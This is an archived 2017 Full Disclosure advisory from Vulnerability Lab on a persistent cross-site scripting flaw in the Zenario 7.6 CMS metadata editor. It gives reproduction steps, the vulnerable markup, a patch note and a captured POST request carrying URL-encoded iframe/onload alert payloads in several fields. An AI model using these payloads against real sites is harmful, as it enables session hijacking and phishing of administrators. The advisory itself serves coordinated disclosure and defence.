[<prev] [next>] [day] [month] [year] [list]
Message-ID: <4e0ee55b-84ce-dcb7-e507-a6ac3cdd08d2@vulnerability-lab.com>
Date: Wed, 3 May 2017 13:11:08 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Zenario v7.6 - Persistent Cross Site Scripting Vulnerability
Document Title:
===============
Zenario v7.6 - Persistent Cross Site Scripting Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2044
https://github.com/TribalSystems/Zenario/commit/cd60f1c8a179ebb779fe0acc051b93f477129b1a
Release Date:
=============
2017-03-16
Vulnerability Laboratory ID (VL-ID):
====================================
2044
Common Vulnerability Scoring System:
====================================
3.4
Product & Service Introduction:
===============================
Zenario is a web-based content management system for sites with one or many languages. It's designed to grow with
your site, adding extranet, online database and custom functionality when you need it. Zenario 7.2 has a new feature
to add CSS styles and media queries, thereby allowing you to make mobile-friendly "responsive" email newsletters.
(Copy of the Homepage: http://zenar.io/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent validation vulnerability in the official Zenario v7.6 CMS.
Vulnerability Disclosure Timeline:
==================================
2017-03-13: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2017-03-14: Vendor Notification (Zenraio - Security Department)
2017-03-15: Vendor Response/Feedback (Zenraio - Security Department)
2017-03-16: Security Acknowledgements (Zenraio - Security Department)
2017-03-16: Vendor Fix/Patch (Zenraio Service Developer Team)
2017-03-16: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Zenario
Product: Zenario - Content Management System (Web-Application) 7.6
Zenario
Product: Zenario - Content Management System (Web-Application) 7.5
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered in the official Zenario v7.6 content management system.
The persistent validation vulnerability allows remote attacker to inject own malicious script code via persistent attack vector.
The security vulnerability is located in the `Browser title` and `Description meta tag` parameters of the `Editing metadata` module.
Remote attackers with privilege web-application user accounts are able to inject own malicious script code to the application-side
of the vulnerable module. The validation of the `Search engine results preview` is broken and allows to execute any injected code
by the `Browser title` and `Description meta tag` input fields. First the content is client-side included via POST and after the
save the content is saved permanently in the database management system. Thus allows a privileged application user account like a
translator or limited admin to inject malicious script codes. The execution occurs on each preview of the malicious injected item.
The security risk of the xss vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the persistent web vulnerability requires a privileged web-application user account and only low user interaction.
Successful exploitation of the xss web vulnerability results in persistent phishing attacks, session hijacking, persistent external
redirect to malicious sources and persistent manipulation of affected or connected web module context.
Request Method(s):
[+] POST
Vulnerable Modules(s):
[+] Forms - Categories - Properties - Metadata & Content
Vulnerable Input Field(s):
[+] Browser title
[+] Description meta tag
Affected Modules(s):
[+] Editing metadata on review
[+] Search engine results preview
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with privileged web-application user account
and low user interaction. For security demonstration or to reproduce the issue follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Download and step the newst application version
2. Setup a full admin account and a restricted admin account
3. Login with a restricted administrator account to the web-application
4. Now move to the Forms - Categories - Properties - Metadata & Content
Note: Restricted admins are allowed to edit on this part of the forms module the meta data
5. Now inject to the vulnerable input fields a script code payload with for example a cross site request
6. The first execute takes place as self-xss, click the popup and move to the save button (page buttom)
7. Save the content and logout as restricted administrator
8. Login as full admin and move to the forms module
9. Open the new entry of the restricted admin to edit or preview
10. The execution takes place within the formular were the Search engine results preview is visible
11. Successful reproduce of the persistent vulnerability!
PoC: Vulnerable Source (Execution Point) ---
<div class="google_preview_container">
<h3 class="google_preview_title">
<span id="google_preview_title">test1-"><[PERSISTENT SCRIPT CODE EXECUTION 1!]></span>
</h3>
<div class="google_preview_url">
<div>
<cite id="google_preview_url">http://zenario.localhost:8080/enquiries/newsletter-sign-up</cite>
</div>
<span id="google_preview_description" class="google_preview_description">test2-"><[PERSISTENT SCRIPT CODE EXECUTION 2!]></span>
</div></div>
--- PoC Session Logs Inject) ---
Status: 200[OK]
POST http://zenario.localhost:8080/zenario/admin/admin_boxes.ajax.php?path=zenario_content&cType=&language=&layoutId=&refinerId=3&refinerName=form_id&refiner__form_id=3&id=html_25
Mime Type[text/javascript]
Request Header:
Host[zenario.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://zenario.localhost:8080/zenario/admin/organizer.php]
Content-Length[7364]
Cookie[__cfduid=d01157c2762731ca1bfcaaa3c144bbd02; PHPSESSID=; COOKIE_LAST_ADMIN_USER=; cookies_accepted=1]
Connection[keep-alive]
POST-Daten:
_save[true]
_confirm[]
_box[%7B%22key%22%3A%7B%22id%22%3A%22html_25%22%2C%22cID%22%3A25%2C%22cType%22%3A%22html%22%2C%22cVersion%22%3A7%2C%22source_cID%22%3A25%2C%22source_cVersion%22%3A7%2C%22create_from_content_panel%22%3A%22%22%2C%22create_from_toolbar%22%3A%22%22%2C%22from_cID%22%3A%22%22%2C%22from_cType%22%3A%22%22%2C%22translate%22%3A%22%22%2C%22equivId%22%3A%22%22%2C%22id_is_menu_node_id%22%3A%22%22%2C%22id_is_parent_menu_node_id%22%3A%22%22%2C%22duplicate%22%3A%22%22%2C%22duplicate_from_menu%22%3A%22%22%2C%22target_cType%22%3A%22%22%2C%22target_title%22%3A%22%22%2C%22target_alias%22%3A%22%22%2C%22target_language_id%22%3A%22%22%2C%22target_template_id%22%3A%22%22%2C%22target_menu_title%22%3A%22%22%7D%2C%22tabs%22%3A%7B%22meta_data%22%3A%7B%22edit_mode%22%3A%7B%22on%22%3A1%7D%2C%22fields%22%3A%7B%22title%22%3A%7B%22current_value%22%3A%22test1-%5C%22%3E%3C[PERSISTENT SCRIPT CODE INJECT 1!]%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E%22%7D%2C%22language_id%22%3A%7B%22current_value%22%3A%22en-us%22%7D%2C%22publication_date%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22warning_message%22%3A%7B%22_was_hidden_before%22%3Atrue%7D%2C%22menu_options%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22orphan%22%7D%2C%22add_to_menu%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22%22%7D%2C%22create_menu%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A0%7D%2C%22menu_title%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22%5C%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E%22%7D%2C%22menu_path%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22%22%7D%2C%22menu_parent_path%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22%22%7D%2C%22alias%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22%22%7D%2C%22domain_and_subdir_container%22%3A%7B%22current_value%22%3A%22http%3A%2F%2Fzenario.localhost:8080%2F%22%7D%2C%22description%22%3A%7B%22current_value%22%3A%22test2-%5C%22%3E%3C[PERSISTENT SCRIPT CODE INJECT 2!]%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E%22%7D%2C%22google_preview%22%3A%7B%7D%2C%22keywords%22%3A%7B%22current_value%22%3A%22%5C%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E%22%7D%2C%22writer_id%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A0%7D%2C%22writer_name%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A%22%22%7D%2C%22content_summary%22%3A%7B%22current_value%22%3A%22%3Cul%3E%5Cn%3Cli%3E%3Ca+class%3D%5C%22%26quot%3B%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E++%26quot%3B%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E%5C%22+title%3D%5C%22%26quot%3B%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E++%26quot%3B%3E%3Ciframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%3E%5C%22+href%3D%5C%22%2Fzenario%2Fadmin%2F%26quot%3B%3E%3Ciframe+src%3Dhttp%3A%2Ftest.de+onload%3Dalert(document.domain)%3E%5C%22%3E%5C%22%26gt%3B%26lt%3Biframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%26gt%3B+%5C%22%26gt%3B%26lt%3Biframe+src%3Dhttp%3A%2F%2Ftest.de+onload%3Dalert(document.domain)%26gt%3B%3C%2Fa%3E%3C%2Fli%3E%5Cn%3C%2Ful%3E%22%7D%2C%22lock_summary_view_mode%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A0%7D%2C%22lock_summary_edit_mode%22%3A%7B%22_was_hidden_before%22%3Atrue%2C%22current_value%22%3A0%7D%2C%22layout_id%22%3A%7B%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22url%22%3A%7B%22current_value%22%3A%22%22%7D%2C%22url_test%22%3A%7B%7D%7D%7D%7D%2C%22_sync%22%3A%7B%22cache_dir%22%3A%22ab_aEhdMVHD_643vdQZQ%22%2C%22password%22%3A%22pqLdXs5VqsMIAFh4LFUvwzr4d6arme%2B0w2YdikKdDpA%3D%22%2C%22iv%22%3A%22zMeASqbYP4LOj94eDbw8vw%3D%3D%22%2C%22session%22%3Afalse%7D%7D]
Response Header:
Server[Apache/2.4.23 (Ubuntu)]
X-Frame-Options[SAMEORIGIN]
Content-Length[208]
Connection[Keep-Alive]
Content-Type[text/javascript; charset=UTF-8]
Reference(s):
http://zenario.localhost:8080/
http://zenario.localhost:8080/zenario/
http://zenario.localhost:8080/zenario/admin/
http://zenario.localhost:8080/zenario/admin/organizer.php
http://zenario.localhost:8080/zenario/admin/admin_boxes.ajax.php
File: zenario/modules/zenario_common_features/tuix/admin_boxes/content.yaml
if (title.length>65) {
title = title.substring(0,65).split(' ').slice(0, -1).join(' ') + ' ...';
}
$('#google_preview_title').html(title);
$('#google_preview_title').text(title);
if ($('#alias').val()) {
$('#google_preview_url').html(zenario.htmlspecialchars(zenarioAB.value('domain_and_subdir_container') + $('#alias').val()));
$('#google_preview_url').text(zenarioAB.value('domain_and_subdir_container') + $('#alias').val());
}
post_field_html: |
<div class="snippet__title" >
Solution - Fix & Patch:
=======================
The vulnerability can be resolved by an escape of the content that is displayed in the search preview of the edit meta data module.
Disallow the usage of special chars and restrict the input fields to prevent further attacks via search preview module.
Security Risk:
==============
he security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium. (CVSS 3.4)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists